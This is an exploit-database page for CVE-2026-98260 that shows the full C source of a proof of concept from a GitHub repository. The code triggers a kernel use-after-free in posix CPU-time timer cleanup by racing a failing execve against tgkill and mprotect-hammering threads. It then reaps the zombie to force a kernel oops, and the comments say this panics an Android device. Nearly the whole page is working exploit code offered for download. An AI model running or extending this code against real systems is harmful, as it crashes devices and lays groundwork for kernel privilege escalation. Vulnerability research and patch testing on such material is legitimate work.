Exploit database

GH-3bfd767c2c7d1e0db07866f818655dd5

haor/cve-2026-98260-opd2513

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

60 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
haor/cve-2026-98260-opd2513Revision 2eb0b7db7877

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/poc.c

Suggested starting fileC · 6,791 bytes
/*
 * CVE-2026-98260 - proof of concept (trigger and crash only, no escalation)
 *
 * A non-leader thread that fails execve() after de_thread() has exchanged
 * its tid keeps its CLOCK_THREAD_CPUTIME_ID posix timer queued, because
 * exit_itimers() cannot disarm a timer whose task is exiting.  The parent
 * later reaps the zombie and cleanup_timerqueue() erases the stale
 * timerqueue node, which by then points into a freed (and usually reused)
 * k_itimer.  With a reused slab the erase dereferences attacker-independent
 * garbage and the kernel oopses.
 *
 * Build: make
 * Run  : adb push build/poc /data/local/tmp/ && adb shell /data/local/tmp/poc
 *
 * On YLP-W00 the reap below panics the kernel; the Qualcomm watchdog
 * reboots the device after roughly 40-50 seconds.  Temporary root is lost.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdatomic.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/wait.h>

#include "vuln_precheck.h"

#define NTIMERS 2048
#define VICTIM_IDX 1024
#define VMA_COUNT 50000
#define HELPER_STACK (1 << 20)
#define LOCKERS 3
#define PAGE 4096UL

static _Atomic int g_go, g_stop, g_locker_started, g_locker_cpu;
static _Atomic int g_exec_tid, g_target_tgid;
static void *g_frag_base;
static size_t g_frag_len;

static void pin(int cpu)
{
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    sched_setaffinity(0, sizeof(set), &set);
}

static int prepare_fragmented_range(void)
{
    size_t len = (size_t)VMA_COUNT * PAGE;
    int fd = (int)syscall(SYS_memfd_create, "vma-page", 1);
    void *base;

    if (fd < 0 || ftruncate(fd, PAGE))
        return -1;
    base = mmap(NULL, len, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (base == MAP_FAILED)
        return -1;
    for (unsigned long i = 0; i < VMA_COUNT; i++) {
        void *want = (char *)base + i * PAGE;
        if (mmap(want, PAGE, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) != want)
            return -1;
    }
    close(fd);
    g_frag_base = base;
    g_frag_len = len;
    return 0;
}

static int locker_fn(void *x)
{
    int prot = PROT_NONE;
    unsigned slot = (unsigned)atomic_fetch_add(&g_locker_cpu, 1);

    (void)x;
    pin(slot ? 3 : 1);
    while (!atomic_load(&g_go))
        sched_yield();
    atomic_fetch_add(&g_locker_started, 1);
    while (!atomic_load(&g_stop)) {
        syscall(SYS_mprotect, g_frag_base, g_frag_len, prot);
        prot = prot == PROT_NONE ? PROT_READ : PROT_NONE;
    }
    _exit(0);
}

static int killer_fn(void *x)
{
    int tid, tgid;

    (void)x;
    pin(2);
    while (!(tid = atomic_load(&g_exec_tid)))
        sched_yield();
    tgid = atomic_load(&g_target_tgid);
    for (;;) {
        long r = syscall(SYS_tgkill, tgid, tid, 0);

        if (r < 0 && errno == ESRCH)
            break;
        sched_yield();
    }
    syscall(SYS_tgkill, tgid, tgid, SIGKILL);
    atomic_store(&g_stop, 1);
    _exit(0);
}

static int spawn_vm_helper(int (*fn)(void *))
{
    void *st = mmap(NULL, HELPER_STACK, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    int p;

    if (st == MAP_FAILED)
        return -1;
    p = clone(fn, (char *)st + HELPER_STACK, CLONE_VM | SIGCHLD, NULL);
    if (p < 0)
        munmap(st, HELPER_STACK);
    return p;
}

static void *exec_thread(void *x)
{
    struct sigevent ev_none, ev_victim;
    struct itimerspec dormant;
    char *const argv[] = { (char *)"", NULL };
    char *const envp[] = { NULL };

    (void)x;
    pin(2);
    memset(&ev_none, 0, sizeof(ev_none));
    ev_none.sigev_notify = SIGEV_NONE;
    memset(&ev_victim, 0, sizeof(ev_victim));
    ev_victim.sigev_notify = SIGEV_SIGNAL;
    ev_victim.sigev_signo = SIGRTMIN;
    memset(&dormant, 0, sizeof(dormant));
    dormant.it_value.tv_sec = 3600;

    for (int i = 0; i < NTIMERS; i++) {
        timer_t t;
        struct sigevent *e = (i == VICTIM_IDX) ? &ev_victim : &ev_none;

        if (timer_create(CLOCK_THREAD_CPUTIME_ID, e, &t))
            _exit(120);
        if (i == VICTIM_IDX && timer_settime(t, 0, &dormant, NULL))
            _exit(121);
    }
    atomic_store(&g_exec_tid, (int)syscall(SYS_gettid));
    atomic_store(&g_go, 1);
    while (atomic_load(&g_locker_started) < LOCKERS)
        sched_yield();
    for (volatile unsigned long i = 0; i < 5000000UL; i++)
        __asm__ volatile("" ::: "memory");
    execve("/proc/self/exe", argv, envp);
    _exit(123);
}

static void run_target(void)
{
    pthread_t th;
    sigset_t set;

    atomic_store(&g_target_tgid, (int)getpid());
    pin(2);
    if (prepare_fragmented_range())
        _exit(110);
    for (int i = 0; i < LOCKERS; i++)
        if (spawn_vm_helper(locker_fn) < 0)
            _exit(111);
    if (spawn_vm_helper(killer_fn) < 0)
        _exit(112);
    sigemptyset(&set);
    sigaddset(&set, SIGRTMIN);
    pthread_sigmask(SIG_BLOCK, &set, NULL);
    if (pthread_create(&th, NULL, exec_thread, NULL))
        _exit(114);
    for (;;)
        sched_yield();
}

static int wait_zombie(pid_t pid, siginfo_t *si)
{
    struct timespec pause = { .tv_nsec = 10000000 };

    for (int i = 0; i < 400; i++) {
        memset(si, 0, sizeof(*si));
        if (waitid(P_PID, (id_t)pid, si, WEXITED | WNOHANG | WNOWAIT))
            return -1;
        if (si->si_pid == pid)
            return 0;
        nanosleep(&pause, NULL);
    }
    return -1;
}

int main(int argc, char **argv)
{
    struct timespec dwell = { .tv_sec = 6 };
    siginfo_t si;
    pid_t T;
    int st;

    (void)argc;
    if (argv[0] && argv[0][0] == '\0')
        _exit(42);

    {
        int pc = vuln_precheck("poc", argc, argv, 0, 0);
        if (pc == CVE98260_PRECHECK_EXIT_OK)
            return 0;
        if (pc != 0)
            return 2;
    }

    pin(2);
    printf("[poc] pid=%d\n", getpid());
    T = fork();
    if (T < 0)
        return 1;
    if (T == 0) {
        run_target();
        _exit(115);
    }
    if (wait_zombie(T, &si)) {
        printf("[poc] no zombie\n");
        kill(T, SIGKILL);
        waitpid(T, 0, 0);
        return 1;
    }
    printf("[poc] zombie pid=%d code=%d status=%d\n", T, si.si_code, si.si_status);
    if (si.si_code != CLD_KILLED) {
        printf("[poc] exec was not interrupted; nothing to reap\n");
        return 1;
    }
    /* Let the RCU callbacks free the k_itimer and its slab page, and let
     * the page be reused, before the stale node is erased by the reap. */
    nanosleep(&dwell, NULL);
    printf("[poc] reaping; expect a kernel oops in cleanup_timerqueue\n");
    fflush(stdout);
    waitpid(T, &st, 0);
    printf("[poc] reaped status=%#x without a panic\n", st);
    return 0;
}